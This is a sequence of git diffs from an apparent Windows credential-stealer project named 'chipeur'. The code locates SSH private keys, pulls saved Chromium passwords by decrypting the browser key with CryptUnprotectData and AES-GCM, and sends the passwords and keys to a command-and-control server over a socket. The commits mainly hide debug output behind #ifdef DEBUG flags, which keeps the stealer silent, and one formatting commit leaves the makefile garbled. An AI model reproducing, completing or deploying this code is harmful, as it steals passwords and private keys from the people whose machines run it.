return FALSE; } headTypeFname[lenHeadTypeFname] = L'\0'; _snwprintf(headTypeFname, lenHeadTypeFname, L"%ls%ls%ls|", header, datatype, keysTab[i].secretKeyPath); - wprintf(L"headtypefname = %ls\n", headTypeFname); int err = send(*sock, (char *)headTypeFname, sizeof(WCHAR) * lenHeadTypeFname, 0); if (err == SOCKET_ERROR) { +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", GetLastError()); +#endif free(headTypeFname); free(header); return FALSE; } // sending the ssh secret file if (send_file(keysTab[i].secretKeyPath, sock) == FALSE) { +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].secretKeyPath); +#endif success = FALSE; } // senfing the tail of the request err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); if (err == SOCKET_ERROR) { +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); +#endif free(headTypeFname); free(header); return FALSE; } +#ifdef DEBUG wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", keysTab[i].secretKeyPath); +#endif free(headTypeFname); } } @@ -242,7 +285,9 @@ BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ size_t lenHeadType = lenHeader + 13 + 1; PWSTR headType = malloc(sizeof(WCHAR) * lenHeadType); if (headType == NULL){ +#ifdef DEBUG fprintf(stderr, "DEBUG: send_credentials: Error, couldn't allocate the headType"); +#endif free(header); return FALSE; } @@ -252,7 +297,9 @@ BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ free(header); int err = send(*sock, (char *)headType, lenHeadType * 2, 0); if (err == SOCKET_ERROR){ +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", GetLastError()); +#endif free(headType); } free(headType); @@ -264,7 +311,9 @@ BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ credToSend = malloc(sizeof(char) * (lenCredToSend + 1)); credToSend[lenCredToSend] = 0; if (credToSend == NULL){ +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_credentials: Couldn't allocate credentials to send\n"); +#endif break; } @@ -272,7 +321,9 @@ BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ err = send(*sock, credToSend, lenCredToSend, 0); free(credToSend); if (err == SOCKET_ERROR){ +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", GetLastError()); +#endif break; } } @@ -280,9 +331,13 @@ BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ // sending the tail of the request err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); if (err == SOCKET_ERROR) { +#ifdef DEBUG fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send end of request: %d\n", GetLastError()); +#endif return FALSE; } +#ifdef DEBUG printf("DEBUG: send_credentials: Credentials sent successfully\n"); +#endif return TRUE; } \ No newline at end of file diff --git a/src/chromium.c b/src/chromium.c index 83decb5..86ff720 100644 --- a/src/chromium.c +++ b/src/chromium.c @@ -35,13 +35,17 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) { CreateFileW(localStatePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (fileHandle == INVALID_HANDLE_VALUE) { +#ifdef DEBUG printf("Failed to open file. Error code: %lu\n", GetLastError()); +#endif return EXIT_FAILURE; } DWORD fileSize = GetFileSize(fileHandle, NULL); if (fileSize == INVALID_FILE_SIZE) { +#ifdef DEBUG printf("Failed to get file size. Error code: %lu\n", GetLastError()); +#endif CloseHandle(fileHandle); return EXIT_FAILURE; } @@ -49,7 +53,9 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) { // characters in the file are encoded in UTF-8, no need for wide characters PSTR fileBuffer = (PSTR)malloc(fileSize + 1); if (!fileBuffer) { +#ifdef DEBUG printf("Failed to allocate memory for file buffer.\n"); +#endif CloseHandle(fileHandle); return EXIT_FAILURE; } @@ -57,7 +63,9 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) { DWORD bytesRead; if (!ReadFile(fileHandle, fileBuffer, fileSize * sizeof(char), &bytesRead, NULL)) { +#ifdef DEBUG printf("Failed to read file. Error code: %lu\n", GetLastError()); +#endif free(fileBuffer); CloseHandle(fileHandle); return EXIT_FAILURE; @@ -111,14 +119,18 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], DWORD decodedBinarySize = 0; if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, NULL, &decodedBinarySize, NULL, NULL)) { +#ifdef DEBUG fprintf(stderr, "Failed getting base64 size. Error code: %lu\n", GetLastError()); +#endif return EXIT_FAILURE; } BYTE *decodedBinaryData = (BYTE *)malloc(decodedBinarySize); if (decodedBinaryData == NULL) { +#ifdef DEBUG fprintf(stderr, "Failed allocating memory\n"); +#endif return EXIT_FAILURE; } @@ -126,8 +138,10 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, decodedBinaryData, &decodedBinarySize, NULL, NULL)) { +#ifdef DEBUG fprintf(stderr, "Failed decoding base64. Error code: %lu\n", GetLastError()); +#endif free(decodedBinaryData); return EXIT_FAILURE; } @@ -140,7 +154,9 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], *decodedKeyOut = (BYTE *)realloc(decodedBinaryData, newSize); if (*decodedKeyOut == NULL) { +#ifdef DEBUG fprintf(stderr, "Failed reallocating memory\n"); +#endif free(decodedBinaryData); return EXIT_FAILURE; } @@ -161,7 +177,9 @@ static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize, DataInput.pbData = encryptedKey; if (!CryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0, &DataOutput)) { +#ifdef DEBUG fprintf(stderr, "Failed decrypting key. Error code: %lu\n", GetLastError()); +#endif free(encryptedKey); return EXIT_FAILURE; } @@ -193,8 +211,10 @@ static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD3 PWSTR loginDataPath; if (get_logindata_path(browser.loginDataPath, &loginDataPath) != EXIT_SUCCESS) { +#ifdef DEBUG fwprintf(stderr, L"Unable to get login data PATH for %ls\n", browser.browserName); +#endif return EXIT_FAILURE; } @@ -204,7 +224,9 @@ static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD3 int loginsCount = 0; if (chrmm_retrieve_logins(loginDataPath, &loginsCount, &logins) != EXIT_SUCCESS) { +#ifdef DEBUG fprintf(stderr, "Could not retrieve logins from the database\n"); +#endif return EXIT_FAILURE; } @@ -220,7 +242,9 @@ static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD3 PSTR encodedKey; if (retrieve_encoded_key(localStatePath, &encodedKey) != EXIT_SUCCESS) { +#ifdef DEBUG wprintf(L"Could not retrieve key from %ls\n", localStatePath); +#endif return EXIT_FAILURE; } @@ -228,14 +252,18 @@ static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD3 BYTE *encryptedKey; if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize) != EXIT_SUCCESS) { - printf("Could not decode %ls\n", encodedKey); +#ifdef DEBUG + printf("Could not decode %ls\n", encodedKey); +#endif return EXIT_FAILURE; } DATA_BLOB decryptedBlob; if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob) != EXIT_SUCCESS) { +#ifdef DEBUG fprintf(stderr, "Could not decrypt key\n"); +#endif return EXIT_FAILURE; } @@ -243,7 +271,9 @@ static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD3 int credentialsCount = 0; if (chrmm_decrypt_logins(logins, loginsCount, decryptedBlob.pbData, &credentials, &credentialsCount) != EXIT_SUCCESS) { +#ifdef DEBUG printf("Failed to decrypt chromium logins\n"); +#endif } for (int i = 0; i < credentialsCount; i++) { @@ -469,8 +499,10 @@ int steal_chromium_creds(Credential * credTab, DWORD32 * indexCredTab) { for (int i = 0; i < sizeof(browsers) / sizeof(BrowserInfo); i++) { if (steal_browser_creds(browsers[i], credTab, indexCredTab) != EXIT_SUCCESS) { +#ifdef DEBUG fwprintf(stderr, L"Unable to find credentials for %s. Continuing...\n", browsers[i].browserName); +#endif } } return EXIT_SUCCESS; diff --git a/src/extract_file.c b/src/extract_file.c index ca5e04c..3983add 100644 --- a/src/extract_file.c +++ b/src/extract_file.c @@ -15,11 +15,14 @@ void print_file(const PWSTR filename) { FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { +#ifdef DEBUG wprintf(L"[Error] print_file: couldn't open %ls file.\n", filename); +#endif return; } - +#ifdef DEBUG wprintf(L"[Debug] print_file: Opening '%ls' file.\n", filename); +#endif fflush(stdout); // reading 1024 bytes block do { @@ -45,7 +48,9 @@ BOOL is_readable(const PWSTR filename){ FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { +#ifdef DEBUG wprintf(L"DEBUG: is_readable: couldn't read %ls file.\n", filename); +#endif return FALSE; } CloseHandle(hFile); diff --git a/src/find_ssh_key.c b/src/find_ssh_key.c index 4429866..c0f1646 100644 --- a/src/find_ssh_key.c +++ b/src/find_ssh_key.c @@ -14,7 +14,9 @@ static BOOL find_keys_pair(const WCHAR *directory, const WCHAR *pkName, DWORD32 *index) { WCHAR *skName = malloc(sizeof(WCHAR) * lenPkFile - 3); if (skName == NULL) { +#ifdef DEBUG printf("[Error] find_key_pair: malloc for skName failed.\n"); +#endif return FALSE; } @@ -38,8 +40,10 @@ static BOOL find_keys_pair(const WCHAR *directory, const WCHAR *pkName, DWORD attributes = GetFileAttributesW(skNamePath); if (attributes == INVALID_FILE_ATTRIBUTES || (attributes & FILE_ATTRIBUTE_DIRECTORY)) { +#ifdef DEBUG wprintf(L"[ERROR] find_key_pair: couldn't find private key for %ls\n", pkNamePath); +#endif return FALSE; } @@ -55,10 +59,11 @@ static BOOL find_keys_pair(const WCHAR *directory, const WCHAR *pkName, wcsncpy(keysTab[*index].secretKeyPath, skNamePath, lenSkNamePath); keysTab[*index].secretKeyPath[lenSkNamePath] = L'\0'; +#ifdef DEBUG wprintf( L"[DEBUG] find_key_pair: Keys pair found: \nindex = %u\n\t%ls\n\t%ls\n\n", *index, keysTab[*index].publicKeyPath, keysTab[*index].secretKeyPath); - +#endif // incrementing the index (*index)++; return TRUE; @@ -116,7 +121,9 @@ static BOOL find_ssh_key_recursively(const PWSTR directory, if (*indexKeysTab >= MAX_KEY_FILES) { break; } else if (wcscmp(fileName + (lenFileName - 4), file_extension) == 0) { +#ifdef DEBUG wprintf(L"File : %ls\\%ls\n", directory, fileName); +#endif find_keys_pair(directory, fileName, lenFileName, keysFilenamesTab, indexKeysTab); } diff --git a/src/logins.c b/src/logins.c index 94c0b4a..888840b 100644 --- a/src/logins.c +++ b/src/logins.c @@ -36,7 +36,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, sqlite3 *db; int rc = sqlite3_open16(fullPath, &db); if (rc) { +#ifdef DEBUG fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db)); +#endif return EXIT_FAILURE; } @@ -46,7 +48,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, sqlite3_stmt *statement; rc = sqlite3_prepare_v2(db, query, -1, &statement, 0); if (rc != SQLITE_OK) { +#ifdef DEBUG fprintf(stderr, "Failed to execute statement: %s\n", sqlite3_errmsg(db)); +#endif sqlite3_close(db); *loginsOut = NULL; *loginCountOut = 0; @@ -58,7 +62,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, *loginsOut = (Login *)malloc(capacity * sizeof(Login)); if (!*loginsOut) { +#ifdef DEBUG fprintf(stderr, "Failed to allocate memory for LoginInfo\n"); +#endif sqlite3_finalize(statement); sqlite3_close_v2(db); return EXIT_FAILURE; @@ -70,7 +76,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, capacity += 10; // grow the allocated array by this much *loginsOut = (Login *)realloc(*loginsOut, capacity * sizeof(Login)); if (!*loginsOut) { +#ifdef DEBUG fprintf(stderr, "Failed to reallocate memory for LoginInfo\n"); +#endif sqlite3_finalize(statement); sqlite3_close_v2(db); return EXIT_FAILURE; @@ -93,14 +101,18 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, rc = sqlite3_finalize(statement); if (rc != SQLITE_OK) { +#ifdef DEBUG fprintf(stderr, "Failed to finalize statement: %s\n", sqlite3_errmsg(db)); +#endif sqlite3_close(db); return EXIT_FAILURE; } rc = sqlite3_close_v2(db); if (rc != SQLITE_OK) { +#ifdef DEBUG fprintf(stderr, "Failed to close database: %s\n", sqlite3_errmsg(db)); +#endif return EXIT_FAILURE; } return EXIT_SUCCESS; @@ -115,7 +127,9 @@ int chrmm_decrypt_logins(Login logins[], int loginCount, const BYTE *key, int *credentialCountOut) { *credentialsOut = (Credential *)malloc(loginCount * sizeof(Credential)); if (*credentialsOut == NULL) { +#ifdef DEBUG fprintf(stderr, "Memory allocation failed\n"); +#endif return EXIT_FAILURE; } @@ -131,14 +145,18 @@ int chrmm_decrypt_logins(Login logins[], int loginCount, const BYTE *key, BYTE *plaintext = (BYTE *)malloc(ciphertextSize); if (plaintext == NULL) { +#ifdef DEBUG fprintf(stderr, "Memory allocation failed\n"); +#endif free(*credentialsOut); return EXIT_FAILURE; } if (AES_GCM_decrypt(key, nonce, ciphertext, ciphertextSize, NULL, 0, 0, plaintext)) { +#ifdef DEBUG fprintf(stderr, "Decryption failed\n"); +#endif free(plaintext); free(*credentialsOut); return EXIT_FAILURE; @@ -182,18 +200,22 @@ void free_credentials(Credential credentials[], int count) { // Pretty print a `Login` struct void printLogin(Login login) { - printf("URL: %s\n", login.url); +#ifdef DEBUG + printf("URL: %s\n", login.url); printf("Username: %s\n", login.username); printf("Password Block (Hex): "); for (int i = 0; i < login.passwordBlockSize; i++) { printf("%02X", (unsigned char)login.passwordBlock[i]); } printf("\n"); +#endif } // Pretty print a `Credential` struct void printCredential(Credential credential) { +#ifdef DEBUG printf("URL: %s\n", credential.url); printf("Username: %s\n", credential.username); printf("Password: %s\n", credential.password); +#endif } diff --git a/src/path.c b/src/path.c index 404ac7f..33f7166 100644 --- a/src/path.c +++ b/src/path.c @@ -17,7 +17,9 @@ int concat_paths(PCWSTR leftPath, PCWSTR rightPath, PWSTR* fullPathOut) { size_t totalLength = wcslen(leftPath) + wcslen(rightPath) + 1; *fullPathOut = (PWSTR)malloc(totalLength * sizeof(wchar_t)); if (!*fullPathOut) { +#ifdef DEBUG fprintf(stderr, "Failed to allocate memory for concatenated path\n"); +#endif return EXIT_FAILURE; } @@ -34,7 +36,9 @@ int get_logindata_path(PCWSTR loginDataSubPath, PWSTR* loginDataPathOut) { HRESULT hr = SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &appdataPath); if (FAILED(hr)) { +#ifdef DEBUG fprintf(stderr, "Failed to retrieve APPDATA path. Error code: %08lX\n", hr); +#endif return EXIT_FAILURE; } @@ -57,7 +61,9 @@ int get_localstate_path(PCWSTR localStateSubPath, PWSTR* localStatePathOut) { HRESULT hr = SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &appdataPath); if (FAILED(hr)) { +#ifdef DEBUG fprintf(stderr, "Failed to retrieve APPDATA path. Error code: %08lX\n", hr); +#endif return EXIT_FAILURE; } From 8cf774eb616b8d04da3d9542053b127940d0cf20 Mon Sep 17 00:00:00 2001 From: gznop Date: Wed, 12 Feb 2025 23:13:54 +0100 Subject: [PATCH 19/49] clang formatted --- makefile | 149 +++++++++++++++++++------------- src/c2.c | 210 ++++++++++++++++++++++++++------------------- src/chipeur.c | 44 +++++----- src/chromium.c | 12 +-- src/extract_file.c | 4 +- src/find_ssh_key.c | 3 +- src/logins.c | 2 +- 7 files changed, 243 insertions(+), 181 deletions(-) diff --git a/makefile b/makefile index 4e19e24..85ed906 100644 --- a/makefile +++ b/makefile @@ -1,71 +1,102 @@ #Directories used -SRC_DIR = src/ -INCLUDE_DIR = include/ -OBJ_DIR = obj/ - -# add the object file used here -OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o $(OBJ_DIR)c2.o - -CC=x86_64-w64-mingw32-gcc -CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \ - -Wpointer-arith -Wcast-qual -Wcast-align=strict -I$(INCLUDE_DIR) +SRC_DIR = + src / INCLUDE_DIR = + include / OBJ_DIR = + obj / + +#add the object file used here + OBJ_FILES = + $(OBJ_DIR) chipeur.o $(OBJ_DIR) + find_ssh_key.o $(OBJ_DIR) + extract_file.o $(OBJ_DIR) + obfuscation.o $(OBJ_DIR) chromium.o $(OBJ_DIR) + path.o $(OBJ_DIR) logins.o $(OBJ_DIR) + sqlite3.o $(OBJ_DIR) aes.o $(OBJ_DIR) c2.o + + CC = + x86_64 - w64 - mingw32 - gcc CFLAGS = + -g - fPIE - O2 - s - Warray - bounds - Wsequence - + point - Walloc - zero - Wnull - dereference - Wpointer - + arith - Wcast - qual - Wcast - align = + strict - I$(INCLUDE_DIR) #not needed for now -LDFLAGS =# -Wl,--strip-all -LLIB= -luuid -lole32 -lcrypt32 -lws2_32 -lkernel32 -DEBUG=-DDEBUG + LDFLAGS = # - Wl, + --strip - all LLIB = -luuid - lole32 - lcrypt32 - lws2_32 - + lkernel32 DEBUG = -DDEBUG -.PHONY : all help clean -all: chipeur.exe + .PHONY + : all help clean all : chipeur.exe #The following syntax to create object file: -#$(OBJ_DIR) file1.o : $(SRC_DIR) file1.c $(INCLUDE_DIR)\ - hdr_used1.h... $(INCLUDE_DIR)hdr_usedn.h -#$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ +#$(OBJ_DIR) file1.o : $(SRC_DIR) file1.c $(INCLUDE_DIR) \ + hdr_used1.h... $(INCLUDE_DIR) hdr_usedn.h +#$(CC) $(DEBUG) $(CFLAGS) - c $ < -o $ @ #Create the object files -$(OBJ_DIR)chipeur.o: $(SRC_DIR)chipeur.c $(INCLUDE_DIR)chipeur.h \ - $(INCLUDE_DIR)find_ssh_key.h $(INCLUDE_DIR)obfuscation.h \ - $(INCLUDE_DIR)c2.h $(INCLUDE_DIR)logins.h $(INCLUDE_DIR)path.h\ - $(INCLUDE_DIR)chromium.h - - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ - -$(OBJ_DIR)find_ssh_key.o : $(SRC_DIR)find_ssh_key.c $(INCLUDE_DIR)find_ssh_key.h $(INCLUDE_DIR)extract_file.h - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ - -$(OBJ_DIR)extract_file.o: $(SRC_DIR)extract_file.c $(INCLUDE_DIR)extract_file.h - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ - -$(OBJ_DIR)obfuscation.o: $(SRC_DIR)obfuscation.c $(INCLUDE_DIR)obfuscation.h - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ - -$(OBJ_DIR)chromium.o : $(SRC_DIR)chromium.c $(INCLUDE_DIR)chromium.h - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ - -$(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ - -$(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ - -$(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ - -$(OBJ_DIR)aes.o : $(SRC_DIR)aes.c $(INCLUDE_DIR)aes.h - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ - -$(OBJ_DIR)c2.o: $(SRC_DIR)c2.c $(INCLUDE_DIR)c2.h $(INCLUDE_DIR)obfuscation.h - $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + $(OBJ_DIR) chipeur.o + : $(SRC_DIR) chipeur.c $(INCLUDE_DIR) chipeur.h $(INCLUDE_DIR) + find_ssh_key.h $(INCLUDE_DIR) obfuscation.h $(INCLUDE_DIR) + c2.h $(INCLUDE_DIR) logins.h $(INCLUDE_DIR) + path.h $(INCLUDE_DIR) chromium.h + + $(CC) $(DEBUG) + $(CFLAGS) - c $ < -o $ @ + + $(OBJ_DIR) find_ssh_key + .o + : $(SRC_DIR) find_ssh_key.c $(INCLUDE_DIR) find_ssh_key.h $(INCLUDE_DIR) + extract_file.h $(CC) $(DEBUG) + $(CFLAGS) - c $ < -o $ @ + + $(OBJ_DIR) extract_file + .o + : $(SRC_DIR) extract_file.c $(INCLUDE_DIR) extract_file.h $(CC) $(DEBUG) + $(CFLAGS) - c $ < -o $ @ + + $(OBJ_DIR) obfuscation + .o + : $(SRC_DIR) obfuscation.c $(INCLUDE_DIR) obfuscation.h $(CC) $(DEBUG) + $(CFLAGS) - c $ < -o $ @ + + $(OBJ_DIR) chromium + .o + : $(SRC_DIR) chromium.c $(INCLUDE_DIR) chromium.h $(CC) $(DEBUG) + $(CFLAGS) - c $ < -o $ @ + + $(OBJ_DIR) + path.o + : $(SRC_DIR) path.c $(INCLUDE_DIR) path.h $(CC) $(DEBUG) + $(CFLAGS) - c $ < -o $ @ + + $(OBJ_DIR) logins + .o + : $(SRC_DIR) logins.c $(INCLUDE_DIR) logins.h $(CC) $(DEBUG) + $(CFLAGS) - c $ < -o $ @ + + $(OBJ_DIR) sqlite3 + .o + : $(SRC_DIR) sqlite3.c $(INCLUDE_DIR) sqlite3.h $(CC) $(DEBUG) + $(CFLAGS) - c $ < -o $ @ + + $(OBJ_DIR) + aes.o + : $(SRC_DIR) aes.c $(INCLUDE_DIR) aes.h $(CC) $(DEBUG) + $(CFLAGS) - c $ < -o $ @ + + $(OBJ_DIR) + c2.o + : $(SRC_DIR) c2.c $(INCLUDE_DIR) c2.h $(INCLUDE_DIR) obfuscation.h $(CC) + $(DEBUG) $(CFLAGS) - c $ < -o $ @ #make the binary -chipeur.exe: $(OBJ_FILES) - $(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@ $(LLIB) + chipeur.exe + : $(OBJ_FILES) $(CC) $(CFLAGS) $(LDFLAGS) $ ^ -o $ @$(LLIB) -clean: - rm -fv $(OBJ_DIR)* chipeur.exe chipeur + clean + : rm - fv $(OBJ_DIR) * chipeur.exe chipeur -help: - @echo "chipeur:\tto create the binary of the project" - @echo "clean:\tto remove the binary and .o files" - @echo "help:\tto display this help" + help + : @echo "chipeur:\tto create the binary of the project" @echo + "clean:\tto remove the binary and .o files" @echo + "help:\tto display this help" diff --git a/src/c2.c b/src/c2.c index dcb8559..4833777 100644 --- a/src/c2.c +++ b/src/c2.c @@ -1,17 +1,17 @@ #include "c2.h" -#include #include #include #include #include #include #include +#include -#include "find_ssh_key.h" -#include "obfuscation.h" #include "extract_file.h" +#include "find_ssh_key.h" #include "logins.h" +#include "obfuscation.h" BOOL connect_to_c2(SOCKET *sock) { // Create the socket and establish the connection to the C2 server. @@ -131,7 +131,8 @@ static BOOL send_file(const PWSTR filename, SOCKET *sock) { BOOL result; // Open the file in reading mode - hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { #ifdef DEBUG @@ -150,11 +151,14 @@ static BOOL send_file(const PWSTR filename, SOCKET *sock) { } int err = send(*sock, buffer, bytesRead, 0); - if (err == SOCKET_ERROR){ + if (err == SOCKET_ERROR) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_file: Error, couldn't send a part of the file %ls: %d\n", filename, GetLastError()); + fwprintf(stderr, + L"DEBUG: send_file: Error, couldn't send a part of the file " + L"%ls: %d\n", + filename, GetLastError()); #endif - return FALSE; + return FALSE; } } while (bytesRead > 0); @@ -179,96 +183,114 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, BOOL success = TRUE; for (DWORD32 i = 0; i < lenKeysTab; i++) { // Checking first if the file is readable - if (is_readable(keysTab[i].publicKeyPath)){ - // Creating the full header with the datatype and the public key filename - lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].publicKeyPath) + 6; - headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); - if (headTypeFname == NULL) { + if (is_readable(keysTab[i].publicKeyPath)) { + // Creating the full header with the datatype and the public key filename + lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].publicKeyPath) + 6; + headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); + if (headTypeFname == NULL) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); + fwprintf( + stderr, + L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); #endif - free(header); - return FALSE; - } + free(header); + return FALSE; + } - headTypeFname[lenHeadTypeFname] = L'\0'; - _snwprintf(headTypeFname, lenHeadTypeFname, L"%ls%ls%ls|", header, datatype, keysTab[i].publicKeyPath); - int err = send(*sock, (char *)headTypeFname, sizeof(WCHAR) * lenHeadTypeFname, 0); - wprintf(L"headtypefname = %ls\n", headTypeFname); - if (err == SOCKET_ERROR) { + headTypeFname[lenHeadTypeFname] = L'\0'; + _snwprintf(headTypeFname, lenHeadTypeFname, L"%ls%ls%ls|", header, + datatype, keysTab[i].publicKeyPath); + int err = send(*sock, (char *)headTypeFname, + sizeof(WCHAR) * lenHeadTypeFname, 0); + wprintf(L"headtypefname = %ls\n", headTypeFname); + if (err == SOCKET_ERROR) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", GetLastError()); + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", + GetLastError()); #endif - free(headTypeFname); - free(header); - return FALSE; - } - // sending the ssh public key - if (send_file(keysTab[i].publicKeyPath, sock) == FALSE) { + free(headTypeFname); + free(header); + return FALSE; + } + // sending the ssh public key + if (send_file(keysTab[i].publicKeyPath, sock) == FALSE) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].publicKeyPath); + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", + keysTab[i].publicKeyPath); #endif - success = FALSE; - } - // sending the tail of the request - err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); - if (err == SOCKET_ERROR) { + success = FALSE; + } + // sending the tail of the request + err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); + if (err == SOCKET_ERROR) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); + fwprintf(stderr, + L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", + GetLastError()); #endif - free(headTypeFname); - free(header); - return FALSE; - } + free(headTypeFname); + free(header); + return FALSE; + } #ifdef DEBUG - wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", keysTab[i].publicKeyPath); + wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", + keysTab[i].publicKeyPath); #endif - free(headTypeFname); + free(headTypeFname); } // Doing the same but for the secret key filename - if (is_readable(keysTab[i].secretKeyPath)){ - lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].secretKeyPath) + 6; - headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); - if (headTypeFname == NULL) { + if (is_readable(keysTab[i].secretKeyPath)) { + lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].secretKeyPath) + 6; + headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); + if (headTypeFname == NULL) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); + fwprintf( + stderr, + L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); #endif - free(header); - return FALSE; - } + free(header); + return FALSE; + } - headTypeFname[lenHeadTypeFname] = L'\0'; - _snwprintf(headTypeFname, lenHeadTypeFname, L"%ls%ls%ls|", header, datatype, keysTab[i].secretKeyPath); - int err = send(*sock, (char *)headTypeFname, sizeof(WCHAR) * lenHeadTypeFname, 0); - if (err == SOCKET_ERROR) { + headTypeFname[lenHeadTypeFname] = L'\0'; + _snwprintf(headTypeFname, lenHeadTypeFname, L"%ls%ls%ls|", header, + datatype, keysTab[i].secretKeyPath); + int err = send(*sock, (char *)headTypeFname, + sizeof(WCHAR) * lenHeadTypeFname, 0); + if (err == SOCKET_ERROR) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", GetLastError()); + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", + GetLastError()); #endif - free(headTypeFname); - free(header); - return FALSE; - } - // sending the ssh secret file - if (send_file(keysTab[i].secretKeyPath, sock) == FALSE) { + 